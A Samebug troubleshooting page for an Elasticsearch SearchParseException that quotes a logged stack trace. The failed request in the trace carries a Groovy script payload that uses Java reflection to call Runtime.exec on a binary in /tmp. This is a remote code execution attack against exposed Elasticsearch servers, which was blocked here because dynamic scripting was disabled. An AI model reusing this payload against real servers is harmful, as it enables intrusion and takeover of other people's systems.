org.elasticsearch.search.SearchParseException

There are no available Samebug tips for this exception. Do you have an idea how to solve this issue? A short tip would help users who saw this issue last week.

  • Apps and models keep getting deleted
    via by P.Leal,
  • URGENT: ELK 1.5/Kibana 4 issue
    via by sunil chaudhari,
    • org.elasticsearch.search.SearchParseException: [foodmeup][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields":{"exp":{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"/tmp/bbos-998\").getInputStream())).readLines()","lang": "groovy"}}}]] at org.elasticsearch.search.SearchService.parseSource(SearchService.java:721) at org.elasticsearch.search.SearchService.createContext(SearchService.java:557) at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:529) at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:291) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228) at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Caused by: org.elasticsearch.script.ScriptException: dynamic scripting for [groovy] disabled at org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:307) at org.elasticsearch.script.ScriptService.compile(ScriptService.java:282) at org.elasticsearch.script.ScriptService.search(ScriptService.java:429) at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:81) at org.elasticsearch.search.SearchService.parseSource(SearchService.java:705) ... 9 more
    No Bugmate found.